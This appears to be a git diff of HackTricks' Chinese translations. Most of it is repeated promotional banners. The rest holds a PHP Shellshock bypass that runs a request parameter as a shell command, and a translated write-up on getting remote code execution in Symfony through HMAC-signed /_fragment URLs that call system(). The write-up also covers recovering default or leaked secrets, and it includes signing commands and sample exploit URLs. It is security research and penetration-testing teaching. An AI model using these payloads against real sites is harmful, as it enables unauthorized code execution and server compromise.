<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks云 ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 推特 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 YouTube 🎥</strong></a></summary>
<summary><strong>从零开始学习AWS黑客攻击直至成为专家通过</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong></strong></summary>
- 你在一家**网络安全公司**工作吗你想在HackTricks中看到你的**公司广告**吗?或者你想获得**PEASS的最新版本或下载HackTricks的PDF**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)
支持HackTricks的其他方式
- 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)
- 获得[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
- **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram群组**](https://t.me/peass) 或 **关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
- **通过向[hacktricks repo](https://github.com/carlospolop/hacktricks)和[hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)提交PR来分享你的黑客技巧**
* 如果您希望在**HackTricks中看到您的公司广告**或**下载HackTricks的PDF版本**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)
* 获取[**官方PEASS & HackTricks商品**](https://peass.creator-spring.com)
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs系列**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram群组**](https://t.me/peass) 或在 **Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
</details>

View file

@ -1,16 +1,14 @@
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks云 ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 推特 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 YouTube 🎥</strong></a></summary>
<summary><strong>零基础学习 AWS 黑客技术直至高级水平,通过</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS 红队专家)</strong></a><strong></strong></summary>
- 你在一家**网络安全公司**工作吗你想在HackTricks中看到你的**公司广告**吗?或者你想获得**PEASS的最新版本或下载PDF格式的HackTricks**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)
支持 HackTricks 的其他方式:
- 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)
- 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
- **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram群组**](https://t.me/peass),或者**关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
- **通过向[hacktricks仓库](https://github.com/carlospolop/hacktricks)和[hacktricks-cloud仓库](https://github.com/carlospolop/hacktricks-cloud)提交PR来分享你的黑客技巧**
* 如果您希望在 **HackTricks 中看到您的公司广告****下载 HackTricks 的 PDF 版本**,请查看 [**订阅计划**](https://github.com/sponsors/carlospolop)
* 获取 [**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
* 探索 [**PEASS 家族**](https://opensea.io/collection/the-peass-family),我们独家的 [**NFT 集合**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram 群组**](https://t.me/peass) 或在 **Twitter** 🐦 上 **关注** 我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享您的黑客技巧。
</details>
@ -55,16 +53,14 @@ echo $MyBoot_ioncube;
```
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks云 ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 推特 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 YouTube 🎥</strong></a></summary>
<summary><strong>从零开始学习AWS黑客攻击直至成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS红队专家)</strong></a><strong></strong></summary>
- 你在一家**网络安全公司**工作吗想要在HackTricks中看到你的**公司广告**吗?或者你想要**获取PEASS的最新版本或下载HackTricks的PDF**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)
支持HackTricks的其他方式
- 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品,[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
- 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
- **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f) 或者 [**Telegram群组**](https://t.me/peass),或者在**Twitter**上**关注**我 [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
- **通过向[hacktricks仓库](https://github.com/carlospolop/hacktricks)和[hacktricks-cloud仓库](https://github.com/carlospolop/hacktricks-cloud)提交PR来分享你的黑客技巧**
* 如果您想在**HackTricks中看到您的公司广告**或**下载HackTricks的PDF版本**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)
* 获取[**官方PEASS & HackTricks商品**](https://peass.creator-spring.com)
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs系列**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram群组**](https://t.me/peass) 或在**Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
</details>

View file

@ -1,21 +1,19 @@
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks云 ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 推特 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
<summary><strong>从零到英雄学习 AWS 黑客技术,通过</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS 红队专家)</strong></a><strong></strong></summary>
- 你在一家**网络安全公司**工作吗你想在HackTricks中看到你的**公司广告**吗?或者你想获得**PEASS的最新版本或下载PDF格式的HackTricks**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)
支持 HackTricks 的其他方式:
- 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)
- 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
- **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram群组**](https://t.me/peass) 或 **关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
- **通过向[hacktricks仓库](https://github.com/carlospolop/hacktricks)和[hacktricks-cloud仓库](https://github.com/carlospolop/hacktricks-cloud)提交PR来分享你的黑客技巧**
* 如果您想在 **HackTricks 中看到您的公司广告****下载 HackTricks 的 PDF**,请查看 [**订阅计划**](https://github.com/sponsors/carlospolop)
* 获取 [**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
* 发现 [**PEASS 家族**](https://opensea.io/collection/the-peass-family),我们独家的 [**NFT 集合**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram 群组**](https://t.me/peass) 或在 **Twitter** 🐦 上 **关注** 我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享您的黑客技巧。
</details>
# PHP 5.x Shellshock Exploit
# PHP 5.x Shellshock 漏洞利用
来自 [http://blog.safebuff.com/2016/05/06/disable-functions-bypass/](http://blog.safebuff.com/2016/05/06/disable-functions-bypass/)
```php
@ -44,16 +42,14 @@ echo shellshock($_REQUEST["cmd"]);
```
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks云 ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 推特 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
<summary><strong>从零开始学习AWS黑客攻击直至成为专家通过</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong></strong></summary>
- 你在一家**网络安全公司**工作吗你想在HackTricks中看到你的**公司广告**吗?或者你想获得**PEASS的最新版本或下载HackTricks的PDF**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)
支持HackTricks的其他方式
- 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)
- 获得[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
- **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram群组**](https://t.me/peass) 或 **关注**我在**Twitter**上的 [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
- **通过向[hacktricks repo](https://github.com/carlospolop/hacktricks)和[hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)提交PR来分享你的黑客技巧**
* 如果您想在**HackTricks中看到您的公司广告**或**下载HackTricks的PDF版本**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)
* 获取[**官方PEASS & HackTricks商品**](https://peass.creator-spring.com)
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs系列**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram群组**](https://t.me/peass) 或在 **Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
</details>

View file

@ -2,48 +2,47 @@
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
<summary><strong>从零到英雄学习AWS黑客攻击</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong></strong></summary>
- 你在**网络安全公司**工作吗你想在HackTricks中看到你的**公司广告**吗?或者你想获得**PEASS的最新版本或下载PDF格式的HackTricks**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)
支持HackTricks的其他方式
- 发现我们的独家[NFTs](https://opensea.io/collection/the-peass-family)收藏品[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
- 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
- **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram群组**](https://t.me/peass) 或 **关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
- **通过向[hacktricks repo](https://github.com/carlospolop/hacktricks)和[hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)提交PR来分享你的黑客技巧**
* 如果您想在**HackTricks中看到您的公司广告**或**下载HackTricks的PDF**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)
* 获取[**官方PEASS & HackTricks商品**](https://peass.creator-spring.com)
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs系列**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram群组**](https://t.me/peass) 或在**Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。**
</details>
## 介 <a href="#introduction" id="introduction"></a>
## <a href="#introduction" id="introduction"></a>
自2008年创建以来基于PHP的应用程序中使用[Symfony](https://symfony.com)框架的使用越来越多。它现在是许多知名CMS的核心组件例如[Drupal](https://www.drupal.org)[Joomla](https://www.joomla.org)[eZPlatform](https://ezplatform.com)以前是eZPublish或[Bolt](https://bolt.cm),并且经常用于构建自定义网站。
自2008年创建以来[Symfony](https://symfony.com)框架在基于PHP的应用程序中的使用越来越广泛。它现在是许多知名CMS的核心组件例如[Drupal](https://www.drupal.org)、[Joomla!](https://www.joomla.org)、[eZPlatform](https://ezplatform.com)以前的eZPublish或[Bolt](https://bolt.cm),并且经常用于构建定制网站。
Symfony的一个内置功能,用于处理[ESI边缘包含)](https://en.wikipedia.org/wiki/Edge\_Side\_Includes),是[`FragmentListener`类](https://github.com/symfony/symfony/blob/5.1/src/Symfony/Component/HttpKernel/EventListener/FragmentListener.php)。基本上,当有人发出对`/_fragment`的请求时此侦听器会从给定的GET参数设置请求属性。由于这允许**运行任意PHP代码**稍后详细介绍请求必须使用HMAC值进行签名。此HMAC的秘密加密密钥存储在名为`secret`的Symfony配置值下。
Symfony内置的一个特性,用于处理[ESI边缘侧包含)](https://en.wikipedia.org/wiki/Edge\_Side\_Includes),是[`FragmentListener`类](https://github.com/symfony/symfony/blob/5.1/src/Symfony/Component/HttpKernel/EventListener/FragmentListener.php)。本质上,当有人向`/_fragment`发出请求时此监听器会根据给定的GET参数设置请求属性。由于这允许**运行任意PHP代码**_稍后详细说明_请求必须使用HMAC值进行签名。这个HMAC的秘密加密密钥存储在名为`secret`的Symfony配置值下。
这个配置值`secret`也用于构建CSRF令牌和记住我令牌。鉴于其重要性这个值显然必须非常随机。
这个配置值`secret`也用于构建CSRF令牌和记住我令牌。鉴于其重要性这个值显然必须非常随机。
不幸的是,我们发现秘密通常要么有一个**默认值**,要么存在**获取该值的方法,离线暴力破解它,或者纯粹绕过与其相关的安全检查**。它主要影响BolteZPlatform和eZPublish。
不幸的是,我们发现通常情况下,秘密要么有一个**默认值**,要么存在**获取该值、离线暴力破解或完全绕过与之相关的安全检查的方法**。它尤其影响Bolt、eZPlatform和eZPublish。
尽管这可能看起来像一个无害的配置问题但我们发现在上述CMS以及自定义应用程序中**默认值、可暴力破解或可猜测的值非常非常常见**。这主要是由于在文档或安装指南中没有足够强调其重要性。
虽然这看起来像是一个良性配置问题但我们发现在上述CMS以及定制应用程序中默认值、可暴力破解或可猜测的值**非常非常常见**。这主要是因为在文档或安装指南中没有足够强调其重要性。
此外,攻击者可以将影响较小的漏洞升级为读取`secret`(通过文件泄露),绕过`/_fragment`签名过程使用SSRF甚至通过`phpinfo()`泄露它!
此外,攻击者可以通过升级影响较小的漏洞来读取`secret`(通过文件泄露)、绕过`/_fragment`签名过程使用SSRF甚至通过`phpinfo()`泄露它!
本博文我们将描述如何在各种CMS和基础框架中获取秘密如何使用该秘密执行代码。
这篇博客文章我们将描述如何在各种CMS和基础框架中获取秘密并使用该秘密执行代码。
## 一点历史 <a href="#a-little-bit-of-history" id="a-little-bit-of-history"></a>
作为一个现代化的框架Symfony从创建到现在一直在处理生成请求的子部分。在`/_fragment`之前,有`/_internal`和`/_proxy`,它们本质上是做同样的事情。多年来,它产生了许多漏洞:[CVE-2012-6432](https://symfony.com/blog/security-release-symfony-2-0-20-and-2-1-5-released#cve-2012-6432-code-execution-vulnerability-via-the-internal-routes)[CVE-2014-5245](https://symfony.com/blog/cve-2014-5245-direct-access-of-esi-urls-behind-a-trusted-proxy)和[CVE-2015-4050](https://symfony.com/blog/cve-2015-4050-esi-unauthorized-access)
作为一个现代框架Symfony从创建到现在一直需要处理请求的子部分的生成。在`/_fragment`之前,有`/_internal`和`/_proxy`,它们本质上做的是同样的事情。这多年来产生了很多漏洞:例如[CVE-2012-6432](https://symfony.com/blog/security-release-symfony-2-0-20-and-2-1-5-released#cve-2012-6432-code-execution-vulnerability-via-the-internal-routes)[CVE-2014-5245](https://symfony.com/blog/cve-2014-5245-direct-access-of-esi-urls-behind-a-trusted-proxy)和[CVE-2015-4050](https://symfony.com/blog/cve-2015-4050-esi-unauthorized-access)。
自Symfony 4以来,安装时会生成秘密,并且默认情况下禁用`/_fragment`页面。因此,人们可能认为,既有弱`secret`,又启用`/_fragment`的情况很少见。但事实并非如此许多框架依赖于旧的Symfony版本甚至2.x仍然非常常见并且实现了静态`secret`值或生成不良的值。此外许多依赖于ESI因此启用了`/_fragment`页面。此外,正如我们将看到的,其他影响较小的漏洞也可以允许转储秘密,即使它已经被安全地生成。
自Symfony 4起,安装时会生成秘密,并默认禁用`/_fragment`页面。因此,人们会认为,拥有弱`secret`和启用`/_fragment`的情况会很少见。事实并非如此许多框架依赖于旧的Symfony版本甚至2.x版本仍然非常普遍并实现了静态的`secret`值或生成它的方式很差。此外许多框架依赖于ESI因此启用了`/_fragment`页面。而且,正如我们将看到的,其他低影响的漏洞可以允许泄露秘密,即使它已经被安全生成。
## 使用`secret`执行代码 <a href="#executing-code-with-the-help-of-secret" id="executing-code-with-the-help-of-secret"></a>
## 在`secret`的帮助下执行代码 <a href="#executing-code-with-the-help-of-secret" id="executing-code-with-the-help-of-secret"></a>
我们将首先演示攻击者在知道`secret`配置值的情况下如何获得代码执行。这是针对最新的`symfony/http-kernel`版本,但对其他版本也类似。
我们首先演示了一个攻击者如何在了解`secret`配置值的情况下获取代码执行。这是针对最新的`symfony/http-kernel`版本进行的,但对其他版本也类似。
### 使用`/_fragment`运行任意代码 <a href="#using-_fragment-to-run-arbitrary-code" id="using-_fragment-to-run-arbitrary-code"></a>
如前所述,我们将使用 `/_fragment` 页面。
如前所述,我们将利用`/_fragment`页面。
```php
# ./vendor/symfony/http-kernel/EventListener/FragmentListener.php
@ -78,9 +77,9 @@ $request->query->remove('_path');
}
}
```
`FragmentListener:onKernelRequest`会在每个请求上运行:如果请求的路径是`/_fragment`[1],该方法首先会检查请求是否有效(即是否正确签名),否则会引发异常[2]。如果安全检查成功它将解析url编码的`_path`参数,并相应地设置`$request`属性。
`FragmentListener:onKernelRequest` 在每个请求上运行:如果请求的路径是 `/_fragment` \[1]该方法将首先检查请求是否有效_即_ 是否正确签名),否则将引发异常 \[2]。如果安全检查成功,它将解析 url 编码的 `_path` 参数,并相应地设置 `$request` 属性。
请求属性不应与HTTP请求参数混淆它们是Symfony维护的内部值通常不能由用户指定。其中一个请求属性是`_controller`它指定要调用的Symfony控制器一个方法元组或者只是一个函数。名称不以`_`开头的属性是要传递给控制器的参数。例如,如果我们希望调用这个方法:
请求属性不应与 HTTP 请求参数混淆:它们是 Symfony 维护的内部值,通常用户无法指定。这些请求属性之一是 `_controller`,它指定了要调用的 Symfony 控制器(一个 _(类, 方法)_ 元组,或者简单地说是一个 _函数_)。名称不以 `_` 开头的属性是将要传递给控制器的参数。例如,如果我们希望调用这个方法:
```php
class SomeClass
{
@ -94,23 +93,23 @@ public function someMethod($firstMethodParam, $secondMethodParam)
`_controller=SomeClass::someMethod&firstMethodParam=test1&secondMethodParam=test2`
然后请求将如下所示
那么请求看起来就像这样
`http://symfony-site.com/_fragment?_path=_controller%3DSomeClass%253A%253AsomeMethod%26firstMethodParam%3Dtest1%26secondMethodParam%3Dtest2&_hash=...`
基本上这允许调用任何函数或任何类的任何方法以及任何参数。鉴于Symfony拥有众多的类**获取代码执行是微不足道的**。例如,我们可以调用`system()`
本质上这允许调用任何函数或任何类的任何方法使用任何参数。鉴于Symfony拥有的类数量众多**实现代码执行非常简单**。例如,我们可以调用`system()`
`http://localhost:8000/_fragment?_path=_controller%3Dsystem%26command%3Did%26return_value%3Dnull&_hash=...`
_每次调用system并不总是有效有关利用细节请参考Exploit部分。_
_调用system并不总是有效有关利用细节请参阅Exploit部分以获取更多信息。_
但是还有一个问题Symfony如何验证请求的签名
还有一个问题Symfony如何验证请求的签名
### 对URL进行签名 <a href="#signing-the-url" id="signing-the-url"></a>
### 签名URL <a href="#signing-the-url" id="signing-the-url"></a>
为了验证URL的签名会对_完整的_ URL计算HMAC。然后将得到的哈希与用户指定的哈希进行比较。
为了验证URL的签名会对_完整_的URL计算一个HMAC。然后将获得的哈希值与用户指定的哈希值进行比较。
在代码,这是在两个地方完成的:
在代码,这是在两个地方完成的:
```php
# ./vendor/symfony/http-kernel/EventListener/FragmentListener.php
@ -195,11 +194,11 @@ return $scheme.$user.$pass.$host.$port.$path.$query.$fragment;
}
}
```
简而言之Symfony提取`_hash` GET参数然后重构完整的URL例如`https://symfony-site.com/_fragment?_path=controller%3d...%26argument1=test%26...`,使用`secret`作为密钥\[1]对该URL进行HMAC计算并将其与给定的哈希值进行比较\[2]。如果它们不匹配,则会引发`AccessDeniedHttpException`异常\[3],导致`403`错误。
简而言之Symfony 提取 `_hash` GET 参数,然后重构完整的 URL例如 `https://symfony-site.com/_fragment?_path=controller%3d...%26argument1=test%26...`,使用 `secret` 作为密钥计算该 URL 的 HMAC \[1],并将其与给定的哈希值进行比较 \[2]。如果不匹配,将引发 `AccessDeniedHttpException` 异常 \[3],导致 `403` 错误。
### 示例 <a href="#example" id="example"></a>
为了测试这个,让我们设置一个测试环境,并提取密钥(在这种情况下,是随机生成的)。
为了测试这一点,让我们设置一个测试环境,并提取密钥(在本例中,是随机生成的)。
```
$ git clone https://github.com/symfony/skeleton.git
$ cd skeleton
@ -210,14 +209,14 @@ APP_SECRET=50c8215b436ebfcc1d568effb624a40e
$ cd public
$ php -S 0:8000
```
现在,访问`http://localhost:8000/_fragment`会返回`403`错误。现在,让我们尝试提供一个有效的签名:
现在,访问 `http://localhost:8000/_fragment` 会出现 `403`。现在我们尝试提供一个有效的签名:
```
$ php -r "echo(urlencode(base64_encode(hash_hmac('sha256', 'http://localhost:8000/_fragment', '50c8215b436ebfcc1d568effb624a40e', 1))) . PHP_EOL);"
lNweS5nNP8QCtMqyqrW8HIl4j9JXIfscGeRm%2FcmFOh8%3D
```
通过检查 `http://localhost:8000/_fragment?_hash=lNweS5nNP8QCtMqyqrW8HIl4j9JXIfscGeRm%2FcmFOh8%3D`,我们现在得到了一个 `404` 状态码。签名是正确的,但我们没有指定任何请求属性,所以Symfony找不到我们的控制器。
在访问 `http://localhost:8000/_fragment?_hash=lNweS5nNP8QCtMqyqrW8HIl4j9JXIfscGeRm%2FcmFOh8%3D`,我们现在得到了一个 `404` 状态码。签名是正确的,但我们没有指定任何请求属性,因此Symfony找不到我们的控制器。
由于我们可以调用任何方法,使用任何参数,我们可以选择 `system($command, $return_value)`,并提供如下有效载荷:
由于我们可以调用任何方法,使用任何参数,我们可以选择 `system($command, $return_value)`,并提供如下载荷:
```
$ page="http://localhost:8000/_fragment?_path=_controller%3Dsystem%26command%3Did%26return_value%3Dnull"
$ php -r "echo(urlencode(base64_encode(hash_hmac('sha256', '$page', '50c8215b436ebfcc1d568effb624a40e', 1))) . PHP_EOL);"
@ -225,42 +224,42 @@ GFhQ4Hr1LIA8mO1M%2FqSfwQaSM8xQj35vPhyrF3hvQyI%3D
```
我们现在可以访问利用URL`http://localhost:8000/_fragment?_path=_controller%3Dsystem%26command%3Did%26return_value%3Dnull&_hash=GFhQ4Hr1LIA8mO1M%2FqSfwQaSM8xQj35vPhyrF3hvQyI%3D`。
尽管出现了`500`错误,但我们可以看到**我们的命令已经执行**。
尽管出现了`500`错误,我们可以看到**我们的命令被执行了**。
使用片段进行远程代码执行RCE
_使用片段进行RCE_
![1](https://www.ambionics.io/images/symfony-secret-fragment/1.png)
## 找秘密 <a href="#finding-secrets" id="finding-secrets"></a>
## 找秘密 <a href="#finding-secrets" id="finding-secrets"></a>
再次强调:如果无法获取秘密,所有这些都没有意义。通常情况下,我们可以找到秘密。我们将描述几种在没有任何先前知识的情况下获取代码执行的方法。
再次强调:如果秘密无法获取,这一切都无关紧要。但往往它们是可以获取的。我们将描述几种在没有任何先验知识的情况下获取代码执行的方法。
### 通过漏洞 <a href="#through-vulnerabilities" id="through-vulnerabilities"></a>
让我们从明显的漏洞开始,使用低影响的漏洞来获取秘密。
让我们从显而易见的开始:使用低影响的漏洞来获取秘密。
#### 文件读取 <a href="#file-read" id="file-read"></a>
显然,可以使用文件读取漏洞来读取以下文件并获取`secret`
显然,文件读取漏洞可以用来读取以下文件并获取`secret`
* `app/config/parameters.yml`
* `.env`
_例如一些Symfony调试工具栏允许读取文件。_
_例如一些Symfony调试工具栏允许读取文件。_
#### PHPinfo <a href="#phpinfo" id="phpinfo"></a>
在最新的Symfony版本3.x`secret`存储在`.env`中作为`APP_SECRET`。由于它被导入为环境变量,可以通过`phpinfo()`页面查看它们
在最近的Symfony版本3.x`secret`作为`APP_SECRET`存储在`.env`中。由于它随后被导入为一个环境变量,它们可以通过`phpinfo()`页面看到
_通过phpinfo泄露APP\_SECRET_
_通过phpinfo泄露APP_SECRET_
![2](https://www.ambionics.io/images/symfony-secret-fragment/2.png)
可以通过Symfony的分析器包来实现这一点如屏幕截图所示。
这通常可以通过Symfony的分析器包完成截图所示。
#### SSRF / IP欺骗CVE-2014-5245 <a href="#ssrf-ip-spoofing-cve-2014-5245" id="ssrf-ip-spoofing-cve-2014-5245"></a>
#### SSRF / IP欺骗 (CVE-2014-5245) <a href="#ssrf-ip-spoofing-cve-2014-5245" id="ssrf-ip-spoofing-cve-2014-5245"></a>
`FragmentListener`背后的代码在多年间发生了变化在版本_2.5.3_之前,当请求来自受信任的代理(即`localhost`它将被视为安全的因此不会检查哈希值。例如SSRF可以允许立即运行代码而不管是否有`secret`。这主要影响eZPublish直到2014.7版本。
`FragmentListener`背后的代码随着时间的推移而发展直到版本_2.5.3_,当请求来自受信任的代理(即:`localhost`它会被认为是安全的因此不会检查哈希。例如一个SSRF可以允许立即运行代码无论是否拥有`secret`。这特别影响了eZPublish直到2014.7版本。
```php
# ./vendor/symfony/symfony/src/Symfony/Component/HttpKernel/EventListener/FragmentListener.php
# Symfony 2.3.18
@ -295,33 +294,33 @@ protected function getLocalIpAddresses()
return array('127.0.0.1', 'fe80::1', '::1');
}
```
诚然,所有这些技术都需要另一个漏洞。让我们深入研究一个更好的向量:默认值。
诚然,所有这些技术都需要另一个漏洞。让我们深入了解一个更好的向量:默认值。
### 通过默认值 <a href="#through-default-values" id="through-default-values"></a>
#### Symfony <= 3.4.43: `ThisTokenIsNotSoSecretChangeIt` <a href="#symfony-3443-thistokenisnotsosecretchangeit" id="symfony-3443-thistokenisnotsosecretchangeit"></a>
在设置Symfony网站时第一步是安装[symfony-standard](https://github.com/symfony/symfony-standard)骨架。安装完成后,会提示输入一些配置值。默认情况下,密钥是`ThisTokenIsNotSoSecretChangeIt`。
在设置Symfony网站时第一步是安装[symfony-standard](https://github.com/symfony/symfony-standard)骨架。安装后,系统会提示输入一些配置值。默认情况下,密钥是`ThisTokenIsNotSoSecretChangeIt`。
_Symfony通过composer进行安装_
_Symfony通过composer安装_
